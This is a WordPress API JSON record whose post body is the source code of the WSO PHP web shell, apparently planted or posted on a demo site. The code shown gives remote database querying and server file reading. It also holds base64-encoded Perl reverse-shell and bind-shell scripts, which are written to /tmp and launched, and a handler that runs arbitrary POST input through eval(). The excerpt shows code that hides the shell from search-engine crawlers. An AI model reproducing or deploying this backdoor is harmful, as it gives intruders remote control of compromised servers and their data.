d.sf.p3.value)}&lt;\/script&gt;&lt;span&gt;&#8221;.$_POST[&#8216;p&#8217;.&#8217;2&#8242;].&#8221;&lt;\/span&gt; ({$num[&#8216;n&#8217;]} records) Page # &lt;input type=text name=&#8217;p&#8217;.&#8217;3&#8242; value=&#8221; . ((int)$_POST[&#8216;p&#8217;.&#8217;3&#8242;]) . &#8220;&gt;&#8221;;<br \/>\necho &#8221; of $pages&#8221;;<br \/>\nif($_POST[&#8216;p&#8217;.&#8217;3&#8242;] &gt; 1)<br \/>\necho &#8221; &lt;a href=# onclick=&#8217;st(\\&#8221;&#8221; . $_POST[&#8216;p&#8217;.&#8217;2&#8242;] . &#8216;&#8221;, &#8216; . ($_POST[&#8216;p&#8217;.&#8217;3&#8242;]-1) . &#8220;)&#8217;&gt;&amp;lt; Prev&lt;\/a&gt;&#8221;;<br \/>\nif($_POST[&#8216;p&#8217;.&#8217;3&#8242;] &lt; $pages)<br \/>\necho &#8221; &lt;a href=# onclick=&#8217;st(\\&#8221;&#8221; . $_POST[&#8216;p&#8217;.&#8217;2&#8242;] . &#8216;&#8221;, &#8216; . ($_POST[&#8216;p&#8217;.&#8217;3&#8242;]+1) . &#8220;)&#8217;&gt;Next &amp;gt;&lt;\/a&gt;&#8221;;<br \/>\n$_POST[&#8216;p&#8217;.&#8217;3&#8242;]&#8211;;<br \/>\nif($_POST[&#8216;type&#8217;]==&#8217;pgsql&#8217;)<br \/>\n$_POST[&#8216;p&#8217;.&#8217;2&#8242;] = &#8216;SELECT * FROM &#8216;.$_POST[&#8216;p&#8217;.&#8217;2&#8242;].&#8217; LIMIT 30 OFFSET &#8216;.($_POST[&#8216;p&#8217;.&#8217;3&#8242;]*30);<br \/>\nelse<br \/>\n$_POST[&#8216;p&#8217;.&#8217;2&#8242;] = &#8216;SELECT * FROM `&#8217;.$_POST[&#8216;p&#8217;.&#8217;2&#8242;].&#8217;` LIMIT &#8216;.($_POST[&#8216;p&#8217;.&#8217;3&#8242;]*30).&#8217;,30&#8242;;<br \/>\necho &#8220;&lt;br&gt;&lt;br&gt;&#8221;;<br \/>\n}<br \/>\nif((@$_POST[&#8216;p&#8217;.&#8217;1&#8242;] == &#8216;query&#8217;) &amp;&amp; !empty($_POST[&#8216;p&#8217;.&#8217;2&#8242;])) {<br \/>\n$db-&gt;query(@$_POST[&#8216;p&#8217;.&#8217;2&#8242;]);<br \/>\nif($db-&gt;res !== false) {<br \/>\n$title = false;<br \/>\necho &#8216;&lt;table width=100% cellspacing=1 cellpadding=2 class=main style=&#8221;background-color:#292929&#8243;&gt;&#8217;;<br \/>\n$line = 1;<br \/>\nwhile($item = $db-&gt;fetch()) {<br \/>\nif(!$title) {<br \/>\necho &#8216;&lt;tr&gt;&#8217;;<br \/>\nforeach($item as $key =&gt; $value)<br \/>\necho &#8216;&lt;th&gt;&#8217;.$key.'&lt;\/th&gt;&#8217;;<br \/>\nreset($item);<br \/>\n$title=true;<br \/>\necho &#8216;&lt;\/tr&gt;&lt;tr&gt;&#8217;;<br \/>\n$line = 2;<br \/>\n}<br \/>\necho &#8216;&lt;tr class=&#8221;l&#8217;.$line.'&#8221;&gt;&#8217;;<br \/>\n$line = $line==1?2:1;<br \/>\nforeach($item as $key =&gt; $value) {<br \/>\nif($value == null)<br \/>\necho &#8216;&lt;td&gt;&lt;i&gt;null&lt;\/i&gt;&lt;\/td&gt;&#8217;;<br \/>\nelse<br \/>\necho &#8216;&lt;td&gt;&#8217;.nl2br(htmlspecialchars($value)).'&lt;\/td&gt;&#8217;;<br \/>\n}<br \/>\necho &#8216;&lt;\/tr&gt;&#8217;;<br \/>\n}<br \/>\necho &#8216;&lt;\/table&gt;&#8217;;<br \/>\n} else {<br \/>\necho &#8216;&lt;div&gt;&lt;b&gt;Error:&lt;\/b&gt; &#8216;.htmlspecialchars($db-&gt;error()).'&lt;\/div&gt;&#8217;;<br \/>\n}<br \/>\n}<br \/>\necho &#8220;&lt;br&gt;&lt;\/form&gt;&lt;form onsubmit=&#8217;d.sf.p1.value=\\&#8221;query\\&#8221;;d.sf.p2.value=this.query.value;document.sf.submit();return false;&#8217;&gt;&lt;textarea name=&#8217;query&#8217; style=&#8217;width:100%;height:100px&#8217;&gt;&#8221;;<br \/>\nif(!empty($_POST[&#8216;p&#8217;.&#8217;2&#8242;]) &amp;&amp; ($_POST[&#8216;p&#8217;.&#8217;1&#8242;] != &#8216;loadfile&#8217;))<br \/>\necho htmlspecialchars($_POST[&#8216;p&#8217;.&#8217;2&#8242;]);<br \/>\necho &#8220;&lt;\/textarea&gt;&lt;br\/&gt;&lt;input type=submit value=&#8217;Execute&#8217;&gt;&#8221;;<br \/>\necho &#8220;&lt;\/td&gt;&lt;\/tr&gt;&#8221;;<br \/>\n}<br \/>\necho &#8220;&lt;\/table&gt;&lt;\/form&gt;&lt;br\/&gt;&#8221;;<br \/>\nif($_POST[&#8216;type&#8217;]==&#8217;mysql&#8217;) {<br \/>\n$db-&gt;query(&#8220;SELECT 1 FROM mysql.user WHERE concat(`user`, &#8216;@&#8217;, `host`) = USER() AND `File_priv` = &#8216;y'&#8221;);<br \/>\nif($db-&gt;fetch())<br \/>\necho &#8220;&lt;form onsubmit=&#8217;d.sf.p1.value=\\&#8221;loadfile\\&#8221;;document.sf.p2.value=this.f.value;document.sf.submit();return false;&#8217;&gt;&lt;span&gt;Load file&lt;\/span&gt; &lt;input class=&#8217;toolsInp&#8217; type=text name=f&gt;&lt;input type=submit value=&#8217;&gt;&gt;&#8217;&gt;&lt;\/form&gt;&#8221;;<br \/>\n}<br \/>\nif(@$_POST[&#8216;p&#8217;.&#8217;1&#8242;] == &#8216;loadfile&#8217;) {<br \/>\n$file = $db-&gt;loadFile($_POST[&#8216;p&#8217;.&#8217;2&#8242;]);<br \/>\necho &#8216;&lt;br\/&gt;&lt;pre class=ml1&gt;&#8217;.htmlspecialchars($file[&#8216;file&#8217;]).'&lt;\/pre&gt;&#8217;;<br \/>\n}<br \/>\n} else {<br \/>\necho htmlspecialchars($db-&gt;error());<br \/>\n}<br \/>\necho &#8216;&lt;\/div&gt;&#8217;;<br \/>\nws0Footer();<br \/>\n}<br \/>\nfunction actionNetwork() {<br \/>\nws0Header();<br \/>\n$back_connect_p=&#8221;IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKS&#8221;.&#8221;B8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7&#8243;;<br \/>\n$bind_port_p=&#8221;IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2&#8243;.&#8221;FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=&#8221;;<br \/>\necho &#8220;&lt;h1&gt;Network tools&lt;\/h1&gt;&lt;div class=content&gt;<br \/>\n&lt;form name=&#8217;nfp&#8217; onSubmit=\\&#8221;g(null,null,&#8217;bpp&#8217;,this.port.value);return false;\\&#8221;&gt;<br \/>\n&lt;span&gt;Bind port to \/bin\/sh [perl]&lt;\/span&gt;&lt;br\/&gt;<br \/>\nPort: &lt;input type=&#8217;text&#8217; name=&#8217;port&#8217; value=&#8217;31345&#8242;&gt; &lt;input type=submit value=&#8217;&gt;&gt;&#8217;&gt;<br \/>\n&lt;\/form&gt;<br \/>\n&lt;form name=&#8217;nfp&#8217; onSubmit=\\&#8221;g(null,null,&#8217;bcp&#8217;,this.server.value,this.port.value);return false;\\&#8221;&gt;<br \/>\n&lt;span&gt;Back-connect [perl]&lt;\/span&gt;&lt;br\/&gt;<br \/>\nServer: &lt;input type=&#8217;text&#8217; name=&#8217;server&#8217; value='&#8221;. $_SERVER[&#8216;REMOTE_ADDR&#8217;] .&#8221;&#8216;&gt; Port: &lt;input type=&#8217;text&#8217; name=&#8217;port&#8217; value=&#8217;31345&#8242;&gt; &lt;input type=submit value=&#8217;&gt;&gt;&#8217;&gt;<br \/>\n&lt;\/form&gt;&lt;br&gt;&#8221;;<br \/>\nif(isset($_POST[&#8216;p&#8217;.&#8217;1&#8242;])) {<br \/>\nfunction cf($f,$t) {<br \/>\n$w = @fopen($f,&#8221;w&#8221;) or @function_exists(&#8216;file_put_contents&#8217;);<br \/>\nif($w){<br \/>\n$bbb=&#8217;base6&#8242;.&#8217;4_decode&#8217;;<br \/>\n@fwrite($w,@$bbb($t));<br \/>\n@fclose($w);<br \/>\n}<br \/>\n}<br \/>\nif($_POST[&#8216;p&#8217;.&#8217;1&#8242;] == &#8216;bpp&#8217;) {<br \/>\ncf(&#8220;\/tmp\/bp.pl&#8221;,$bind_port_p);<br \/>\n$out = ws0Ex(&#8220;perl \/tmp\/bp.pl &#8220;.$_POST[&#8216;p&#8217;.&#8217;2&#8242;].&#8221; 1&gt;\/dev\/null 2&gt;&amp;1 &amp;&#8221;);<br \/>\nsleep(1);<br \/>\necho &#8220;&lt;pre class=ml1&gt;$out\\n&#8221;.ws0Ex(&#8220;ps aux | grep bp.pl&#8221;).&#8221;&lt;\/pre&gt;&#8221;;<br \/>\nunlink(&#8220;\/tmp\/bp.pl&#8221;);<br \/>\n}<br \/>\nif($_POST[&#8216;p&#8217;.&#8217;1&#8242;] == &#8216;bcp&#8217;) {<br \/>\ncf(&#8220;\/tmp\/bc.pl&#8221;,$back_connect_p);<br \/>\n$out = ws0Ex(&#8220;perl \/tmp\/bc.pl &#8220;.$_POST[&#8216;p&#8217;.&#8217;2&#8242;].&#8221; &#8220;.$_POST[&#8216;p&#8217;.&#8217;3&#8242;].&#8221; 1&gt;\/dev\/null 2&gt;&amp;1 &amp;&#8221;);<br \/>\nsleep(1);<br \/>\necho &#8220;&lt;pre class=ml1&gt;$out\\n&#8221;.ws0Ex(&#8220;ps aux | grep bc.pl&#8221;).&#8221;&lt;\/pre&gt;&#8221;;<br \/>\nunlink(&#8220;\/tmp\/bc.pl&#8221;);<br \/>\n}<br \/>\n}<br \/>\necho &#8216;&lt;\/div&gt;&#8217;;<br \/>\nws0Footer();<br \/>\n}<br \/>\nfunction actionRC() {<br \/>\nif(!@$_POST[&#8216;p&#8217;.&#8217;1&#8242;]) {<br \/>\n$a = array(<br \/>\n&#8220;uname&#8221; =&gt; php_uname(),<br \/>\n&#8220;php_version&#8221; =&gt; phpversion(),<br \/>\n&#8220;ws0_version&#8221; =&gt; ws0_VERSION,<br \/>\n&#8220;safemode&#8221; =&gt; @ini_get(&#8216;safe_mode&#8217;)<br \/>\n);<br \/>\necho serialize($a);<br \/>\n} else {<br \/>\neval($_POST[&#8216;p&#8217;.&#8217;1&#8242;]);<br \/>\n}<br \/>\n}<br \/>\nif( empty($_POST[&#8216;a&#8217;]) )<br \/>\nif(isset($default_action) &amp;&amp; function_exists(&#8216;action&#8217; . $default_action))<br \/>\n$_POST[&#8216;a&#8217;] = $default_action;<br \/>\nelse<br \/>\n$_POST[&#8216;a&#8217;] = &#8216;SecInfo&#8217;;<br \/>\nif( !empty($_POST[&#8216;a&#8217;]) &amp;&amp; function_exists(&#8216;action&#8217; . $_POST[&#8216;a&#8217;]) ) call_user_func(&#8216;action&#8217; . $_POST[&#8216;a&#8217;]);<br \/>\ndie;while(true);<\/p>\n","protected":false},"excerpt":{"rendered":"<p>&lt;?php \/* WSO Shell &#8211; tool for system administrators *\/ $auth_pass = &#8220;&#8221;; $color = &#8220;#df5&#8221;; $default_action = &#8216;flmn&#8217;; $default_use_ajax = true; $default_charset = &#8216;Window&#8217;.&#8217;s-1251&#8242;; if(!empty($_SERVER[&#8216;HTTP_USER_AGENT&#8217;])) { $userAgents = array(&#8220;Google&#8221;, &#8220;Slurp&#8221;, &#8220;MSNBot&#8221;, &#8220;ia_archiver&#8221;, &#8220;Yandex&#8221;, &#8220;Rambler&#8221;); if(preg_match(&#8216;\/&#8217; . implode(&#8216;|&#8217;, $userAgents) .&nbsp;&hellip; <a href=\"https:\/\/www.coodyssee.fr\/demo\/2016\/07\/15\/shell\/\">Continue&nbsp;reading&nbsp;<span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-53","post","type-post","status-publish","format-standard","hentry","category-non-classe"],"_links":{"self":[{"href":"https:\/\/www.coodyssee.fr\/demo\/wp-json\/wp\/v2\/posts\/53","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.coodyssee.fr\/demo\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.coodyssee.fr\/demo\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.coodyssee.fr\/demo\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.coodyssee.fr\/demo\/wp-json\/wp\/v2\/comments?post=53"}],"version-history":[{"count":2,"href":"https:\/\/www.coodyssee.fr\/demo\/wp-json\/wp\/v2\/posts\/53\/revisions"}],"predecessor-version":[{"id":55,"href":"https:\/\/www.coodyssee.fr\/demo\/wp-json\/wp\/v2\/posts\/53\/revisions\/55"}],"wp:attachment":[{"href":"https:\/\/www.coodyssee.fr\/demo\/wp-json\/wp\/v2\/media?parent=53"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.coodyssee.fr\/demo\/wp-json\/wp\/v2\/categories?post=53"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.coodyssee.fr\/demo\/wp-json\/wp\/v2\/tags?post=53"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}